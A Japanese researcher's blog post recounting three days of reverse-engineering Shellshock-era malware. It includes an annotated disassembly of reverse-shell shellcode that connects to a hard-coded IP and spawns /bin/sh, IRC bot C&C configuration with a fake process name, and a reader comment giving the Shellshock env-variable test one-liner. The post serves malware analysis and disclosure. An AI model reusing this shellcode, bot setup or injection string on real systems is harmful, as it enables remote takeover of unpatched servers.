土曜日, 9月 27, 2014

bash 0dayマルウェア感染の「real time」リバースエンジニアリング

ゼロデイが出るといつも大忙し。
特にリバースエンジニアリングの僕らの手が回らない状態です。

《一日目》

CVE-2014-6271(bash 0day)の発表後24時間以内にMalwareMustDieのチームメートから連絡があり、私が調査してマルウェア感染攻撃を発見しました。
↑調査してくれっていう事で、当時自分は外出中でしたが危なそうだったので急いでPCを開いてバイナリーの分析調査を始めました。
「早く!早く!」とあちこちから催促するメッセージ。初めて見たマルウェアなのにそんなに早く分析出来るわけないだろうとキレながら調査。調査しながら「VirusTotal」のコメント欄に調査報告を書いて、報告しました↓
↑完成まで結構早かった、調査に掛かった時間は大体3~4時間ぐらいかな?ツイート報告遅くなりました。すまぬ…詳細な調査報告が出来ずにいましたがマルウェアの全容は見えるように。後で気づいたが、このマルウェアを初めて調査報告した研究者は僕でした。GJ。これは酷いマルウェアで、バックドア機能意外にもtelnet接続のIPスキャナー、login bruteforce機能、DDoS機能、busyboxのexploit攻撃機能、などを発見しました。
ツイートのリンクをクリックすると「VirusTotal」のサイトに行くので「コメント」のタブをクリックしてください。調査結果が見れます↓

焦って書いたのでなかなかにお粗末な出来ですが(VTコメントは編集が出来ない)おゆるしを。本当にプレッシャーやばかったの^^);

その後、仕事終わったあとでゆっくり丁寧に詳しい情報をマルウェア研究サイトに書きました↓ふう

そしたらニュースレポーターからインタービューの依頼が来て、受けました。それが海外のITニュースの話題に。国内にその情報も来たみたいなので見て下さい↓
http://japan.zdnet.com/security/analysis/35054302/
http://newsbiz.yahoo.co.jp/detail?a=20140926-35054302-cnetj-nb

《二日目》

翌日また新種のマルウェア攻撃を発見し前日同様調査開始!
「Shellshock」の攻撃です↓


当時確認したら、マルウェアのダウンロードが出来ている状態でした↓


IPを確認したら、なんと…KDDIだ!!…びっくりしました。
$ dig www.0rz.it +short
106.185.25.239
$ echo 106.185.25.239 | geoip.sh
106.185.25.239|li716-239.members.linode.com.|2516 | 106.185.0.0/17 |
KDDI | JP | LINODE.COM | LINODE LLC
そのログはIDS機能からのログなので、たまたま会社の製品(K-PROX)のhttpプロキシのログでしました。
ポートスキャナーっぽい攻撃で、ヒットの数も多いから、危ないと思っていました。
直ぐにJP-CERT/CCに報告メールを書いて送りました、その後もツイートをしました↓

↑返事が数秒で届きましたが、返事メールを見ながら「あれ!サンプルとサンプルの調査内容を送ってないんだ!」と気づいていた^^);; 
大パニックになって、また、前の日みたいでバイナリーの分析調査をメールのフォームに急いで書いて、わーっとASMのコメントを書いて、2回ぐらいに編集し2回もメールで送信しました。…プレッシャーに弱い…失礼しました。

取りえず最終版のELFバイナリー分析調査結果がこんな感じで↓

0x08048054 | 31db       | xor ebx, ebx     ; nulling ebx by xor
0x08048056 | f7e3       | mul ebx          ; nulling ebx by mul
0x08048058 | 53         | push ebx         ; push 0 to stack ; from ebx=0x0 (nulled) < IPPROTO_IP
0x08048059 | 43         | inc ebx          ; ebx = 0x1 ; socketcall number 1 = sys_socket
0x0804805a | 53         | push ebx         ; push 1 to stack < AF_INET
0x0804805b | 6a02       | push 0x2         ; push 2 to stack < SOCK_STREAM
0x0804805d | 89e1       | mov ecx, esp     ; set pointer to arguments array
0x0804805f | b066       | mov al, 0x66     ; syscall number 0x66 sys_socketcall
0x08048061 | cd80       | int 0x80         ; Svc_0; sys_socketcall ; sys_socket
0x08048063 | 93         | xchg ebx, eax    ; socketfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
0x08048064 | 59         | pop ecx          
LABEL_loop_to_clear_dup_result_to_zero: 
0x08048065 | b03f       | mov al, 0x3f     ; syscall number 0x3f sys_dup2
0x08048067 | cd80       | int 0x80         ; Svc_0 ; sys_dup2
0x08048069 | 49         | dec ecx          ; counter for dup loop, 3 to 0 ; to null the socket() register result
0x0804806a | 79f9       | jns 0x108048065  ; GOTO loop_to_clear_dup_result_to_zero:
0x0804806c | 681b139fe0 | push 0xe09f131b  ; backward: 1B139FE0 = 27.19.159.224 < c2_struct.sin_addr
0x08048071 | 68020011c1 | push 0xc1110002  ; 0x11c1 = 4545 < sin_port ; 0x02 = 2 < c2_struct.sa_family=AF_INET
0x08048076 | 89e1       | mov ecx, esp     ; set pointer for *c2_struct
                                            {sa_family=AF_INET, sin_port=htons(4545), sin_addr=inet_addr("27.19.159.224")}
0x08048078 | b066       | mov al, 0x66     ; syscall number 0x66 sys_socketcall
0x0804807a | 50         | push eax         ; push al=0x66 to stack (to invoke sys_connect)
0x0804807b | 51         | push ecx         ; push *c2_struct pointer (hold by ecx)
0x0804807c | 53         | push ebx         ; push *socketfd pointer to stack (hold by ebx)
0x0804807d | b303       | mov bl, 0x3      ; socketcall number = 3 ; sys_connect
0x0804807f | 89e1       | mov ecx, esp     ; set pointer to args array (for sys_connect)
0x08048081 | cd80       | int 0x80         ; Svc_0 ; sys_socketcall => sys_connect
0x08048083 | 52         | push edx         ; push null (for string termination)
0x08048084 | 682f2f7368 | push 0x68732f2f  ; push string 'hs//' (backward) to stack
0x08048089 | 682f62696e | push 0x6e69622f  ; push string 'nib/' to stack
0x0804808e | 89e3       | mov ebx, esp     ; set addr of "/bin//sh" into ebx from esp
0x08048090 | 52         | push edx         ; push null (for string termination)
0x08048091 | 53         | push ebx         ; push stack up
0x08048092 | 89e1       | mov ecx, esp     ; set pointer to arg (array of strings fron sys_connect) => exev_arg
0x08048094 | b00b       | mov al, 0xb      ; syscall number 0x0b sys_execve
0x08048096 | cd80       | int 0x80         ; Svc_0 ; sys_socketcall => sys_execve("/bin//sh", ["/bin//sh", exec_arg], [NULL])


そして、その後…ゆっくり、ブログ(malwaremustdieとフォーラムにも)書きました↓


その後、また世界のITセキュリティニュースにも盛り上がったそうで、もう一度インタービューを受けました↓

そのニュースもあちこちに出てしまいました、国内にも来るかも知れないね→リンク

《三日目》

今日はもう12件ぐらい別々のELFマルウェア、ELF-EXPLOITとその他悪戯スクリプト(PHP/Perl…ほぼIRC/Bot)を発見しましたけれど、攻撃多すぎて。取り合えず今日からゆっくり一個ずつ対応します。ウェブサーバあり+bashのパッチがインストールされてないLinuxマシンは本当に危険ですね。

本0day(ゼロデイ)について、Heartbleedよりも危険なので、攻撃も色々出来るから、例えばリバースSHELLとか↓


などなど、でBASHのパッチを直ぐに提供してくださいね。

またPAYLOADとしてはマルウェアだけじゃないので↓








なんと…Mac OS X マルウェアまで発見しました↓

↑CNCはIRCですね↓
#undef STARTUP // Start on startup?
#undef IDENT // Only enable this if you absolutely have to
#define FAKENAME "apache2" // What you want this to hide as
#define CHAN "#shellshock" // Channel to join
#define KEY "bleh" // The key of the channel
int numservers=1; // Must change this to equal number of servers down there
char *servers[] = { // List the servers in that format, always end in (void*)0
"linksys.secureshellz.net",
(void*)0
}; 
↑チャンネル名は#shellshockという事はshellshock限定で作られたマルウェアですね^^;こわ!

…などなど。所でどうかご注意を!

マルウェア分析調査に対して、全世界のITセキュリティまとめ

全世界のITセキュリティメディアから沢山記事を書いて頂き有難う御座います m(_ _)m

バックリンク↓

http://www.zdnet.com/hackers-jump-on-the-shellshock-bash-bandwagon-7000034095/
http://www.csoonline.com/article/2687958/application-security/shellshock-bash-vulnerability-being-exploited-in-the-wild-red-hat-says-patch-incomplete.html
http://www.version2.dk/artikel/botnets-kaster-sig-over-kritisk-shellshock-saarbarhed-shanghaje-linux-servere-68791
http://www.solidot.org/story?sid=41294
http://www.bkjia.com/xtaq/885386.html

Mentions:

http://www.newsfactor.com/story.xhtml?story_id=94303
http://newsbiz.yahoo.co.jp/detail?a=20140926-35054302-cnetj-nb
http://japan.zdnet.com/security/analysis/35054302/
http://www.zdnet.co.kr/news/news_view.asp?artice_id=20140926101159
http://www.zdnet.de/88206884/apple-mehrheit-der-mac-nutzer-ist-von-bash-luecke-nicht-betroffen/
http://www.cnet.de/88137503/bash-bug-exploit-code-fuer-shellshock-luecke-entdeckt/
http://www.zdnet.de/88206816/ersten-angriff-auf-bash-luecke-linux-und-unix-entdeckt/
http://www.silicon.de/41604047/shellshock-erste-angriffe-auf-linux-leck/
http://www.baomoi.com/Phat-hien-nhung-tan-cong-dau-tien-loi-dung-lo-hong-Bash/76/14901865.epi
http://www.downloadblog.it/post/116264/shellshock-primi-attacchi-col-bug-nella-bash-di-linux
http://ictnews.vn/cntt/bao-mat/phat-hien-nhung-tan-cong-dau-tien-loi-dung-lo-hong-bash-119952.ict
http://codigofonte.uol.com.br/noticias/primeiros-ataques-usando-bug-bash-sao-descobertos/19514

コメントとブログ↓

http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3506
http://habrahabr.ru/company/eset/blog/238257/

2 件のコメント:

  1. 脆弱性の影響チェックscript↓

    env check='Not vulnerable' x='() { :;}; check=Vulnerable' bash -c 'echo $check'

    返信削除
  2. ↑2番目のELFはmsf shell_reverse_tcpのpayload x32のコードから単純にコピペで作られたそうだね。コードがそっくり。

    返信削除